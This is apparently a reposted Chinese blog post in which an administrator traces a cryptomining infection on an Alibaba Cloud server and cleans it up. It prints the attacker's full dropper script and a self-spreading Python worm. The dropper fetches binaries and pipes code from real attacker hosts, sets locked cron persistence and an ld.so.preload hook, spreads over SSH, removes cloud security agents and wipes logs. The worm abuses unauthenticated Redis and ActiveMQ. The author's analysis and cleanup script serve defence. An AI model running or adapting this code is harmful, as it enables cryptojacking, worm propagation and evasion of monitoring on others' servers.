記一次阿里雲被植入挖礦木馬的事件

時間 2019-12-06

原文原文鏈接

今天上午同事說我負責的那個模塊不工做了，我登陸了一下阿里雲服務器排查一下，發現服務器運行很慢。(由於你敲的命令字符回傳的很快，可是命令的響應時間長，因此是服務器卡了，而不是網絡的問題)html

使用top查看一下，發現：python

[root@xxx ~]# top
%Cpu(s):  99 us,  0.8 sy,  0.0 ni, 0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND                                                                                                                                                                
38657 root      20   0 2047468   5000   2500 S   0.6  0.0  28:37.37 kworkerds                                                                                                                                                           
39104 root      20   0 1417372   3900   2144 S   0.6  0.0   9:59.73 kworkerds                                                                                                                                                           
16513 root      20   0 1946444  49456   2336 S   0.6  0.2  62:44.23 kworkerds                                                                                                                                                           
16589 root      20   0 1154188   3428   1772 S   0.6  0.0  52:17.28 kworkerds                                                                                                                                                           
15859 root      20   0 1488564   3756   1652 S   0.6  0.0  56:49.77 kworkerds                                                                                                                                                           
11915 root      20   0   15.4g   2.6g   7612 S   0.6  8.2  21:54.61 kworkerds                                                                                                                                                           
 1987 root      20   0   58576   2468   1540 R   0.6  0.0   0:00.20 kworkerds

抱歉，沒有及時截圖，你們將就着看吧，大概就是上圖的樣子，cpu已經佔到99%，32GB內存只剩200MB，而單獨查看kworkerds進程就是以下結果：redis

[root@xxx ~]# ps -ef | grep -v grep |grep kworkerds
root      1754     1  9 5月16 ?       03:09:29 /tmp/kworkerds
root      1963     1  9 5月16 ?       03:27:53 /tmp/kworkerds
root      2066     1  9 5月16 ?       03:27:51 /tmp/kworkerds
root      2073     1  6 00:33 ?        00:38:24 /tmp/kworkerds
root      2093     1 12 5月15 ?       05:04:58 /tmp/kworkerds
......此處省略380個進程
[root@xxx ~]# ps -ef | grep -v grep |grep kworkerds | wc -l
385

毫無疑問，就是這傢伙在佔用服務器資源，由於服務器不是我一我的在用，因此問了同事是否知道是什麼服務，同事也不知道，搜索一下，原來這是一個挖礦木馬，二話不說先把他kill掉。apache

[root@xxx ~]# ps auxf | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9

果真，服務器快了不少。可是不能治標不治本，查一下開機啓動和定時任務。開機啓動沒發現問題，定時任務有異常。bash

[root@XXX ~] systemctl list-unit-files
(沒發現問題，就不貼進來了)
[root@XXX ~] cat /etc/rc.local
(沒發現問題，就不貼進來了)
[root@XXX ~] cat /etc/crontab
...
01 * * * * root run-parts /etc/cron.hourly
02 4 * * * root run-parts /etc/cron.daily
0 1 * * * root /usr/local/bin/dns
[root@XXX ~] crontab -l
*/23 * * * * (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh
##

定時任務有點奇怪，咱們去掉"|sh"，用那條命令下載一下它的代碼，結果以下：服務器

[root@XXX ~]# (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)
#!/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

function b() {
pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
rm -rf /tmp/qW3xT.2 /tmp/ddgs.3020 /tmp/ddgs.3020 /tmp/wnTKYg /tmp/2t3ik
ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "Xbash" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cranbery" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "minerd" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "wnTKYg" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "thisxxs" | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep /opt/yilu/mservice|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
ps auxf | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9
p=$(ps auxf|grep -v grep|grep kworkerds|wc -l)
if [ ${p} -eq 0 ];then
    ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
fi
}

function d() {
    ARCH=$(uname -i)
    if [ "$ARCH" == "x86_64" ]; then
        (curl -fsSL --connect-timeout 120 https://master.clminer.ru/1/1551434761x2728329064.jpg -o /tmp/kworkerds||wget https://master.clminer.ru/1/1551434761x2728329064.jpg -O /tmp/kworkerds) && chmod +x /tmp/kworkerds
        /tmp/kworkerds
    else
        mkdir -p /var/tmp
        chmod 1777 /var/tmp
        (curl -fsSL --connect-timeout 120 https://master.clminer.ru/2/1551434778x2728329032.jpg -o /var/tmp/kworkerds||wget https://master.clminer.ru/2/1551434778x2728329032.jpg -O /var/tmp/kworkerds) && chmod +x /var/tmp/kworkerds
        /var/tmp/kworkerds
    fi
}

function e() {
    nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cDovLzE4NS4xMC42OC45MS9yYXcvOThzZGY2OTEnCnRyeToKICAgIHBhZ2U9YmFzZTY0LmI2NGRlY29kZSh1cmxsaWIudXJsb3BlbihkKS5yZWFkKCkpCiAgICBleGVjKHBhZ2UpCmV4Y2VwdDoKICAgIHBhc3M='))" >/dev/null 2>&1 &
    touch /tmp/.38t9guft0055d0565u444gtjr0
}

function c() {
    chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload
    (curl -fsSL --connect-timeout 120 http://185.10.68.91/2/2 -o /usr/local/bin/dns||wget http://185.10.68.91/2/2 -O /usr/local/bin/dns) && chmod 755 /usr/local/bin/dns && touch -acmr /bin/sh /usr/local/bin/dns && chattr +i /usr/local/bin/dns
    echo -e "SHELL=/bin/sh\nPATH=/sbin:/bin:/usr/sbin:/usr/bin\nMAILTO=root\nHOME=/\n# run-parts\n01 * * * * root run-parts /etc/cron.hourly\n02 4 * * * root run-parts /etc/cron.daily\n0 1 * * * root /usr/local/bin/dns" > /etc/crontab && touch -acmr /bin/sh /etc/crontab
    echo -e "*/10 * * * * root (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh\n##" > /etc/cron.d/root && touch -acmr /bin/sh /etc/cron.d/root && chattr +i /etc/cron.d/root
    echo -e "*/17 * * * * root (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh\n##" > /etc/cron.d/apache && touch -acmr /bin/sh /etc/cron.d/apache && chattr +i /etc/cron.d/apache
    echo -e "*/23 * * * * (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh\n##" > /var/spool/cron/root && touch -acmr /bin/sh /var/spool/cron/root && chattr +i /var/spool/cron/root
    mkdir -p /var/spool/cron/crontabs
    echo -e "*/31 * * * * (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh\n##" > /var/spool/cron/crontabs/root && touch -acmr /bin/sh /var/spool/cron/crontabs/root && chattr +i /var/spool/cron/crontabs/root
    mkdir -p /etc/cron.hourly
    (curl -fsSL --connect-timeout 120 http://185.10.68.91/1/1 -o /etc/cron.hourly/oanacroner||wget http://185.10.68.91/1/1 -O /etc/cron.hourly/oanacroner) && chmod 755 /etc/cron.hourly/oanacroner
    mkdir -p /etc/cron.daily
    (curl -fsSL --connect-timeout 120 http://185.10.68.91/1/1 -o /etc/cron.daily/oanacroner||wget http://185.10.68.91/1/1 -O /etc/cron.daily/oanacroner) && chmod 755 /etc/cron.daily/oanacroner
    mkdir -p /etc/cron.monthly
    (curl -fsSL --connect-timeout 120 http://185.10.68.91/1/1 -o /etc/cron.monthly/oanacroner||wget http://185.10.68.91/1/1 -O /etc/cron.monthly/oanacroner) && chmod 755 /etc/cron.monthly/oanacroner
    mkdir -p /usr/local/lib/
    if [ ! -f "/usr/local/lib/libntpd.so" ]; then
        ARCH=$(uname -i)
        if [ "$ARCH" == "x86_64" ]; then
            (curl -fsSL --connect-timeout 120 https://master.clminer.ru/One/2 -o /usr/local/lib/libntpd.so||wget https://master.clminer.ru/One/2 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so
        elif [ "$ARCH" == "i386" ]; then
            (curl -fsSL --connect-timeout 120 https://master.clminer.ru/One/22 -o /usr/local/lib/libntpd.so||wget https://master.clminer.ru/One/22 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so
        else
            (curl -fsSL --connect-timeout 120 https://master.clminer.ru/One/22 -o /usr/local/lib/libntpd.so||wget https://master.clminer.ru/One/22 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so
        fi
    fi
    chattr -i /etc/ld.so.preload && echo /usr/local/lib/libntpd.so > /etc/ld.so.preload && touch -acmr /bin/sh /etc/ld.so.preload
    if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then   
          for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh' & done
    fi
    touch -acmr /bin/sh /etc/cron.hourly/oanacroner
    touch -acmr /bin/sh /etc/cron.daily/oanacroner
    touch -acmr /bin/sh /etc/cron.monthly/oanacroner
}

function a() {
    if ps aux | grep -i '[a]liyun'; then
        wget http://update.aegis.aliyun.com/download/uninstall.sh
        chmod +x uninstall.sh
        ./uninstall.sh
        wget http://update.aegis.aliyun.com/download/quartz_uninstall.sh
        chmod +x quartz_uninstall.sh
        ./quartz_uninstall.sh
        rm -f uninstall.sh     quartz_uninstall.sh
        pkill aliyun-service
        rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
        rm -rf /usr/local/aegis*;
    elif ps aux | grep -i '[y]unjing'; then
        /usr/local/qcloud/stargate/admin/uninstall.sh
        /usr/local/qcloud/YunJing/uninst.sh
        /usr/local/qcloud/monitor/barad/admin/uninstall.sh
    fi
    touch /tmp/.a
}

mkdir -p /tmp
chmod 1777 /tmp
if [ ! -f "/tmp/.a" ]; then
    a
fi
b
c
port=$(netstat -an | grep :56415 | wc -l)
if [ ${port} -eq 0 ];then
    d
fi
if [ ! -f "/tmp/.38t9guft0055d0565u444gtjr0" ]; then
    e
fi
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
#

結果就很清楚了，kworkerds這東西就是這個腳本搞得鬼，腳本寫的還挺規範的，並且它還本身檢查了一下，若是哪一個kworkerds若是佔用cpu超過80%，就把它kill掉，這樣能夠防止被一些性能監測軟件監測到異常，不過你單個kworkerds確實沒有佔用超過80%，可是你380多個進程一塊兒跑，總共佔用的CPU就達到了99%了啊，固然這不是重點，咱們經過腳本，能夠看到它都篡改了哪些文件。網絡

chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload

當你本身去改動這些文件的時候發現改不動，改不動就對了，人家代碼裏寫的很清楚，本身改的時候先用"chattr -i"解鎖，改完以後再用"chattr +i"加鎖，你本身手動解鎖一下就能夠改了。app

有意思的是他的木馬程序的下載地址是：https://master.clminer.ru/1/1551434761x2728329064.jpg，他竟然把圖片下載成程序，不要懷疑本身的眼睛，下載下來以後和/tmp/kworkerds(以前運行的程序)用md5sum命令比較過了，就是一樣的文件。真是「禽獸之變詐幾何哉」。運維

解決方法：ssh

1.對於腳本和文本文件，把他添加的語句刪除;

2.對於被篡改的二進制可執行程序，去別的服務器找相應的程序替換。個人netstat命令就被改爲了一個釣魚網站的網頁，我去其餘服務器複製了二進制程序改過來的。

清理腳本參考，注意是參考，由於個人服務器裏面這些文件原本就是空的，因此能夠這樣清理，使用的時候你們仍是要本身注意一下：

#!/bin/bash
ps auxf | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9

chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload
echo "" > /usr/local/bin/dns
echo "" > /etc/cron.d/root
echo "" > /etc/cron.d/apache
echo "" > /var/spool/cron/root
echo "" > /var/spool/cron/crontabs/root
rm -rf /etc/cron.hourly/oanacroner
rm -rf /etc/cron.daily/oanacroner
rm -rf  /etc/cron.monthly/oanacroner

sed -i '/cron.hourly/d' /etc/crontab
sed -i '/cron.daily/d' /etc/crontab
sed -i '/usr\/local\/bin\/dns/d' /etc/crontab

#sed -i '$d' /etc/ld.so.preload
rm -rf /usr/local/lib/libntpd.so

#/tmp/.a就不要刪了，刪了以後萬一後來再種木馬,還要給你卸載一次阿里雲盾
#rm -rf /tmp/.a
rm -rf /bin/kworkerds
rm -rf /tmp/kworkerds
rm -rf /usr/sbin/kworkerds
rm -rf /etc/init.d/kworker
chkconfig --del kworker

View Code

回頭來講說這個腳本，大體的思路以下：

1.刪除阿里云云盾客戶端和監控程序(估計是參考了你的博客吧：https://www.cnblogs.com/itfat/p/10469342.html)
2.清理主機環境：中止、刪除主機已經存在的其餘挖礦程序
3.配置主機環境：下載挖礦程序和配置文件並執行
4.篡改系統文件：防止被運維人員發現異常
5.持續感染主機：設置任務計劃，保持更新，持續感染主機
6.清空日誌，防止別人發現本身的訪問蹤影。

腳本也不止這一個，拋開別的不談，這傢伙寫的腳本卻是有幾分可借鑑之處。

這仍是不算解決問題，日誌已經被刪了，因此仍是要找到根源才行。思來想去應該時redis漏洞的問題，緣由以下：

1.最初同事找個人時候說安裝完軟件以後跑不通，我netstat -lanp | grep 6379一下，發現端口已經在用了，就說是端口被佔用了，換一個端口就解決了，回頭想一想當時真是幼稚了;

2.今天再次出現問題的時候，偏偏又是redis的問題，我本身的模塊不能將數據寫入redis；

3.redis確實有漏洞，可讓別人經過鏈接redis登陸服務器，具體怎麼操做呢？http://blog.jobbole.com/94518/

#! /usr/bin/env python
#coding: utf-8

import threading
import socket
from re import findall
import httplib
import os

IP_LIST = []

class scanner(threading.Thread):
    tlist = []
    maxthreads = 100
    evnt = threading.Event()
    lck = threading.Lock()

    def __init__(self,host):
        threading.Thread.__init__(self)
        self.host = host
    def run(self):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(2)
            s.connect_ex((self.host, 8161))
            s.send('google spider\r\n')
            results = s.recv(1)
            if str(results):
                data = "*/10 * * * * root (curl -fsSL http://185.10.68.91/raw/68VYMp5T||wget -q -O- http://185.10.68.91/raw/68VYMp5T)|sh\n##"
                data2 = "*/15 * * * * (curl -fsSL http://185.10.68.91/raw/68VYMp5T||wget -q -O- http://185.10.68.91/raw/68VYMp5T)|sh\n##"
                conn = httplib.HTTPConnection(self.host, port=8161, timeout=2)
                conn.request(method='PUT', url='/fileserver/go.txt', body=data)
                conn.request(method='PUT', url='/fileserver/goa.txt', body=data2)
                conn.request(method='PUT', url='/fileserver/gob.txt', body=data2)
                result = conn.getresponse()
                conn.close()
                if result.status == 204:
                    headers = {'Destination': 'file:///etc/cron.d/root'}
                    headers2 = {'Destination': 'file:///var/spool/cron/root'}
                    headers3 = {'Destination': 'file:///var/spool/cron/crontabs/root'}
                    conn = httplib.HTTPConnection(self.host, port=8161, timeout=2)
                    conn.request(method='MOVE', url='/fileserver/go.txt', headers=headers)
                    conn.request(method='MOVE', url='/fileserver/goa.txt', headers=headers2)
                    conn.request(method='MOVE', url='/fileserver/gob.txt', headers=headers3)
                    conn.close()
            s.close()
        except Exception:
            pass
        try:
            s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s2.settimeout(2)
            x = s2.connect_ex((self.host, 6379))
            if x == 0:
                s2.send('config set stop-writes-on-bgsave-error no\r\n')
                s2.send('flushall\r\n')
                s2.send('config set dbfilename root\r\n')
                s2.send('set SwE3SC "\\t\\n*/10 * * * * root (curl -fsSL http://185.10.68.91/raw/68VYMp5T||wget -q -O- http://185.10.68.91/raw/68VYMp5T)|sh\\n\\t"\r\n')
                s2.send('set NysX7D "\\t\\n*/15 * * * * (curl -fsSL http://185.10.68.91/raw/68VYMp5T||wget -q -O- http://185.10.68.91/raw/68VYMp5T)|sh\\n\\t"\r\n')
                s2.send('config set dir /etc/cron.d\r\n')
                s2.send('save\r\n')
                s2.send('config set dir /var/spool/cron\r\n')
                s2.send('save\r\n')
                s2.send('config set dir /var/spool/cron/crontabs\r\n')
                s2.send('save\r\n')
                s2.send('flushall\r\n')
                s2.send('config set stop-writes-on-bgsave-error yes\r\n')
            s2.close()
        except Exception:
            pass
        scanner.lck.acquire()
        scanner.tlist.remove(self)
        if len(scanner.tlist) < scanner.maxthreads:
            scanner.evnt.set()
            scanner.evnt.clear()
        scanner.lck.release()

    def newthread(host):
        scanner.lck.acquire()
        sc = scanner(host)
        scanner.tlist.append(sc)
        scanner.lck.release()
        sc.start()

    newthread = staticmethod(newthread)

def get_ip_list():
    try:
        url = 'ident.me'
        conn = httplib.HTTPConnection(url, port=80, timeout=10)
        conn.request(method='GET', url='/', )
        result = conn.getresponse()
        ip1 = result.read()
        ips1 = findall(r'\d+.\d+.', ip1)[0]
        for u in range(0, 256):
            ip_list1 = (ips1 + (str(u)))
            for g in range(1, 256):
                IP_LIST.append(ip_list1 + '.' + (str(g)))
    except Exception:
        ip2 = os.popen("/sbin/ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d \"addr:\"").readline().rstrip()
        ips2 = findall(r'\d+.\d+.', ip2)[0]
        for i in range(0, 255):
            ip_list2 = (ips2 + (str(i)))
            for g in range(1, 255):
                IP_LIST.append(ip_list2 + '.' + (str(g)))
        pass

def runPortscan():
    get_ip_list()
    for host in IP_LIST:
        scanner.lck.acquire()
        if len(scanner.tlist) >= scanner.maxthreads:
            scanner.lck.release()
            scanner.evnt.wait()
        else:
            scanner.lck.release()
        scanner.newthread(host)
    for t in scanner.tlist:
        t.join()

if __name__ == "__main__":
    runPortscan()